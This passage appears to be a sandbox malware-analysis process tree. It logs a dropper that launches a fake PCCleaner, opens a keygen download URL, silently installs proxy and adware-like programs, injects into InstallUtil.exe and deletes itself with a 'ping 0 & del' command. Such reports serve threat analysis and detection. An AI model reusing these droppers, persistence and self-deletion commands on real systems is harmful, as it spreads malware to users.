- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\system32\schtasks.exe" /Query3⤵
-
C:\Program Files (x86)\Syney\PCCleaner\PCCleaner.exe"C:\Program Files (x86)\Syney\PCCleaner\PCCleaner.exe"3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 952 -s 8684⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 952 -s 9404⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 952 -s 8364⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 952 -s 1404⤵
- Program crash
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\system32\schtasks.exe" /Delete /F /TN "PCCleaner 1"3⤵
-
C:\Program Files (x86)\Syney\PCCleaner\PCCleaner.exe"C:\Program Files (x86)\Syney\PCCleaner\PCCleaner.exe" 1df4967a8b55e0254e559fb7330da0363⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 8964⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 9044⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 9884⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 10964⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 11044⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 11204⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 11924⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 13404⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 13484⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 8964⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 10084⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 15284⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 12044⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 15364⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 13404⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 17124⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 19004⤵
- Program crash
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://totrakto.com/warcraft-3-tft-keygen-19.zip4⤵
- Adds Run key to start application
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffc1db546f8,0x7ffc1db54708,0x7ffc1db547185⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2164,4052709010349848317,8990132547038142413,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2176 /prefetch:25⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2164,4052709010349848317,8990132547038142413,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2268 /prefetch:35⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2164,4052709010349848317,8990132547038142413,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2696 /prefetch:85⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,4052709010349848317,8990132547038142413,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3876 /prefetch:15⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,4052709010349848317,8990132547038142413,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3884 /prefetch:15⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2164,4052709010349848317,8990132547038142413,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4996 /prefetch:85⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2164,4052709010349848317,8990132547038142413,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5300 /prefetch:85⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2164,4052709010349848317,8990132547038142413,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5544 /prefetch:85⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --configure-user-settings --verbose-logging --system-level --msedge --force-configure-user-settings5⤵
- Drops file in Program Files directory
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\MsEdgeCrashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x180,0x17c,0x168,0x154,0x164,0x7ff73b455460,0x7ff73b455470,0x7ff73b4554806⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2164,4052709010349848317,8990132547038142413,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5544 /prefetch:85⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,4052709010349848317,8990132547038142413,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5632 /prefetch:15⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,4052709010349848317,8990132547038142413,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5648 /prefetch:15⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 16004⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 15764⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 16404⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 17804⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 13444⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 15004⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 16164⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 16204⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 17924⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 18244⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 19804⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 19924⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 20204⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 20084⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 20244⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 20204⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\Lb6pY3Op\Tfwkyr4mZm9Tlg8GKo8B.exeC:\Users\Admin\AppData\Local\Temp\Lb6pY3Op\Tfwkyr4mZm9Tlg8GKo8B.exe4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\fLWUzBAt\82dJZIn1O80q7ub68tFI.exeC:\Users\Admin\AppData\Local\Temp\fLWUzBAt\82dJZIn1O80q7ub68tFI.exe /VERYSILENT4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-A89PH.tmp\82dJZIn1O80q7ub68tFI.tmp"C:\Users\Admin\AppData\Local\Temp\is-A89PH.tmp\82dJZIn1O80q7ub68tFI.tmp" /SL5="$40242,4822386,780800,C:\Users\Admin\AppData\Local\Temp\fLWUzBAt\82dJZIn1O80q7ub68tFI.exe" /VERYSILENT5⤵
- Executes dropped EXE
- Drops startup file
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
-
C:\Program Files (x86)\Proxy2Service\client.exe"C:\Program Files (x86)\Proxy2Service\client.exe"6⤵
- Executes dropped EXE
- Drops file in Program Files directory
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 20124⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\a3U5KqMn\6dXjBurXuE2A2HRzv4d.exeC:\Users\Admin\AppData\Local\Temp\a3U5KqMn\6dXjBurXuE2A2HRzv4d.exe /VERYSILENT4⤵
- Executes dropped EXE
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\path55gta.exeC:\Users\Admin\AppData\Local\Temp\path55gta.exe5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\gtaV5path.exeC:\Users\Admin\AppData\Local\Temp\gtaV5path.exe5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"6⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /k ping 0 & del C:\Users\Admin\AppData\Local\Temp\a3U5KqMn\6dXjBurXuE2A2HRzv4d.exe & exit5⤵
-
C:\Windows\system32\PING.EXEping 06⤵
- Runs ping.exe
-
C:\Users\Admin\AppData\Local\Temp\6N4e2ZUU\Veqib9DWAp2jG8JUN0.exeC:\Users\Admin\AppData\Local\Temp\6N4e2ZUU\Veqib9DWAp2jG8JUN0.exe4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-DHQOG.tmp\is-3PQJM.tmp"C:\Users\Admin\AppData\Local\Temp\is-DHQOG.tmp\is-3PQJM.tmp" /SL4 $102B0 "C:\Users\Admin\AppData\Local\Temp\6N4e2ZUU\Veqib9DWAp2jG8JUN0.exe" 2475703 476165⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
-
C:\Program Files (x86)\HDNGURU LLF Tool\LLFTOOL.exe"C:\Program Files (x86)\HDNGURU LLF Tool\LLFTOOL.exe"6⤵
- Executes dropped EXE
- Drops file in Program Files directory
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 18124⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 16564⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 20764⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 16564⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 21084⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\IMBApL2G\c43rIfm3KgY4PiV.exeC:\Users\Admin\AppData\Local\Temp\IMBApL2G\c43rIfm3KgY4PiV.exe /sid=3 /pid=1464⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
-
C:\Users\Admin\AppData\Roaming\InfoInstall\InfoInstall.exeC:\Users\Admin\AppData\Roaming\InfoInstall\InfoInstall.exe5⤵
- Executes dropped EXE
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\d0681b3f-0baf-45d1-bc92-7e21ffffb485.exe"C:\Users\Admin\AppData\Local\Temp\d0681b3f-0baf-45d1-bc92-7e21ffffb485.exe" /sid=3 /pid=1466⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"7⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exeC:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe8⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Modifies Control Panel
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=gpu-process --field-trial-handle=2920,11598328293229199253,10037162673382561336,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Linux; Android 11; SM-A505F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Mobile Safari/537.36" --lang=en-US --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --mojo-platform-channel-handle=2948 /prefetch:29⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies registry class
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=2920,11598328293229199253,10037162673382561336,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Linux; Android 11; SM-A505F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Mobile Safari/537.36" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=3 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3204 /prefetch:19⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"10⤵
- Executes dropped EXE
- Checks computer location settings
- Modifies Control Panel
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=gpu-process --field-trial-handle=2844,2794337326330680871,3290147657243974060,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Edg/106.0.1347.0" --lang=en-US --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --mojo-platform-channel-handle=2872 /prefetch:211⤵
- Executes dropped EXE
- Modifies registry class
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2844,2794337326330680871,3290147657243974060,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --service-sandbox-type=network --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Edg/106.0.1347.0" --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --mojo-platform-channel-handle=3172 /prefetch:811⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=2844,2794337326330680871,3290147657243974060,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Edg/106.0.1347.0" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=3 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3196 /prefetch:111⤵
- Executes dropped EXE
- Checks computer location settings
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"12⤵
- Executes dropped EXE
- Checks computer location settings
- Modifies Control Panel
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=gpu-process --field-trial-handle=2756,1678014076749500186,2742012632960583978,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Edg/106.0.0.0" --lang=en-US --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --mojo-platform-channel-handle=2928 /prefetch:213⤵
- Executes dropped EXE
- Modifies registry class
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=2756,1678014076749500186,2742012632960583978,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Edg/106.0.0.0" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3216 /prefetch:113⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"14⤵
- Executes dropped EXE
- Checks computer location settings
- Modifies Control Panel
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=gpu-process --field-trial-handle=2728,11684591958910206777,16695886110250067651,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Linux; Android 11; SM-A505F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Mobile Safari/537.36" --lang=en-US --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --mojo-platform-channel-handle=2872 /prefetch:215⤵
- Executes dropped EXE
- Modifies registry class
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2728,11684591958910206777,16695886110250067651,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --service-sandbox-type=network --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Linux; Android 11; SM-A505F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Mobile Safari/537.36" --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --mojo-platform-channel-handle=3172 /prefetch:815⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=2728,11684591958910206777,16695886110250067651,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Linux; Android 11; SM-A505F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Mobile Safari/537.36" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=3 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3188 /prefetch:115⤵
- Executes dropped EXE
- Checks computer location settings
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"16⤵
- Executes dropped EXE
- Checks computer location settings
- Modifies Control Panel
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=gpu-process --field-trial-handle=2848,11632107300355285355,4173813756744281303,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.167 YaBrowser/22.7.4.957 Yowser/2.5 Safari/537.36" --lang=en-US --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --mojo-platform-channel-handle=2876 /prefetch:217⤵
- Modifies registry class
-
